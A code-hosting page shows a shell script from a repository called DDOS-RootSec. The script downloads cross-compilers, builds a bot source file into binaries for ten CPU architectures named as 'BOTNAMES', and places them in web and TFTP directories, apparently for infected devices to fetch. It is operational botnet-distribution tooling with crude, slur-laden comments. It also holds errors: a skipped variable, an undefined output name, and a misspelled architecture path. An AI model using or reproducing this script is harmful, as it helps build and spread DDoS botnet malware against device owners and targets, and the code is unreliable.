Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/shakra.ebc959.sh
5038 views
1
echo -e '\x1b[1;31m'
2
echo -e ' \r\n'
3
echo -e ' ### # # # # # ### # \r\n'
4
echo -e ' # # # ## # # # # ## \r\n'
5
echo -e ' # # # # # # # # # # # \r\n'
6
echo -e ' # ##### # # ### #### # # \r\n'
7
echo -e ' # # # #### # # # # #### \r\n'
8
echo -e ' # # # # # # # # # # # \r\n'
9
echo -e ' ### # # # # # # # # # # \r\n'
10
echo -e ' \r\n'
11
echo -e ' ~[ ShAy ]~ \r\n'
12
echo -e '\x1b[31m'
13
14
#################
15
#~ MISC ~ #
16
#################
17
echo -e "\e[0;31mMade by the one and only XORA/ShAy, made on 2/12/2016"
18
echo -e "\e[0;31mLNO LIGHT THE RIPPER, YOU CAN'T CODE SHIT"
19
echo -e "\e[0;31mMade for Debian assuming if you have this, you know that you should use Nginx instead of Apache"
20
echo -e "\e[0;31mDon't forget about the config for Nginx fuckboy"
21
sleep 5
22
23
##################
24
#~ BOTNAMES ~ #
25
##################
26
LEGAL1='jackmeoff1' #mipsel
27
LEGAL2='jackmeoff2' #mips
28
LEGAL3='jackmeoff3' #sh4
29
LEGAL4='jackmeoff4' #x86_64
30
LEGAL5='jackmeoff5' #armv6l
31
LEGAL6='jackmeoff6' #i686
32
LEGAL7='jackmeoff7' #powerpc
33
LEGAL8='jackmeoff8' #i586
34
LEGAL9='jackmeoff9' #m68k
35
LEGAL10='jackmeoff10' #sparc
36
37
#################
38
#~ MISC&WGET ~ #
39
#################
40
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
41
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
42
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
43
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
44
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
45
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
46
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
47
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
48
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
49
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
50
echo -e "Usage: Execute just like NSA.sh"
51
sleep 5
52
echo -e "\e[0;31myou have 5 seconds to cancel this if you fucked up"
53
apt-get install tar -q
54
apt-get install bzip -y || apt-get install bzip2 -y
55
mkdir /var/www/html; mkdir /var/www/
56
echo -e "\e[0;31mHERE WE GO AGAIN"
57
if [ -d cross-compiler-mips ]
58
then
59
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget"
60
else
61
wget --quiet $mips --no-check-certificate
62
tar -xvjf cross-compiler-mips*
63
fi
64
if [ -d cross-compiler-mipsel ]
65
then
66
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget"
67
else
68
wget --quiet $mipsel --no-check-certificate
69
tar -xvjf cross-compiler-mipsel*
70
fi
71
if [ -d cross-compiler-sh4 ]
72
then
73
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget"
74
else
75
wget --quiet $sh4 --no-check-certificate
76
tar -xvjf cross-compiler-sh4*
77
fi
78
if [ -d cross-compiler-x86_64 ]
79
then
80
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget"
81
else
82
wget --quiet $x86_64 --no-check-certificate
83
tar -xvjf cross-compiler-x86_64*
84
fi
85
if [ -d cross-compiler-armv6l ]
86
then
87
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget"
88
else
89
wget --quiet $armv6l --no-check-certificate
90
tar -xvjf cross-compiler-armv6l*
91
fi
92
if [ -d cross-compiler-powerpc ]
93
then
94
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget"
95
else
96
wget --quiet $ppc --no-check-certificate
97
tar -xvjf cross-compiler-powerpc*
98
fi
99
if [ -d cross-compiler-m68k ]
100
then
101
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget"
102
else
103
wget --quiet $m68k --no-check-certificate
104
tar -xvjf cross-compiler-m68k*
105
fi
106
if [ -d cross-compiler-sparc ]
107
then
108
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget"
109
else
110
wget --quiet $sparc --no-check-certificate
111
tar -xvjf cross-compiler-sparc*
112
fi
113
if [ -d cross-compiler-i586 ]
114
then
115
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget"
116
else
117
wget --quiet $i586 --no-check-certificate
118
tar -xvjf cross-compiler-i586*
119
fi
120
if [ -d cross-compiler-i686 ]
121
then
122
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget"
123
else
124
wget --quiet $i686 --no-check-certificate
125
tar -xvjf cross-compiler-i686*
126
fi
127
rm -rf *.tar.bz2
128
echo -e "\e[0;31mDone."
129
sleep 3
130
#################
131
#~ GAY ~ #
132
#################
133
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $LEGAL1 $1 > /dev/null 2>&1
134
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $LEGAL2 $1 > /dev/null 2>&1
135
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $LEGAL3 $1 > /dev/null 2>&1
136
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $LEGAL4 $1 > /dev/null 2>&1
137
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $LEGAL5 $1 > /dev/null 2>&1
138
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $LEGAL6 $1 > /dev/null 2>&1
139
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $LEGAL7 $1 > /dev/null 2>&1
140
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $LEGAL9 $1 > /dev/null 2>&1
141
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $LEGAL10 $1 > /dev/null 2>&1
142
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $LEGAL11 $1 > /dev/null 2>&1
143
echo "\e[0;31mDone STOP FUCKING UP"
144
mv jackm* /var/www/html/
145
146
#################
147
#~ STH ~ #
148
#################
149
echo "\e[0;31mWOW let's fix your FUCKUP"
150
apt-get install nginx; apt-get install php5; service apache2 stop; service nginx start
151
152
################
153
#~ PUSSY ~ #
154
################
155
echo -e "\e[0;31mShakra.sh is not a replacement for RIU, this is to only be used when you fucked up / compiled a broken client, and need to get rid of the old shit and replace with the new shit"
156
echo -e "\e[0;31mBy this point you should have your sh file already / ready in your /var/www/html to be copied over to nginx / tftp, IF NOT YOU DONE FUCKED UP"
157
cd /usr/share/nginx/www/; rm -rf jackm*; cd /srv/tftp; rm -rf jackm*
158
cp /var/www/html/* /usr/share/nginx/www; cp /var/www/html/* /srv/tftp
159
160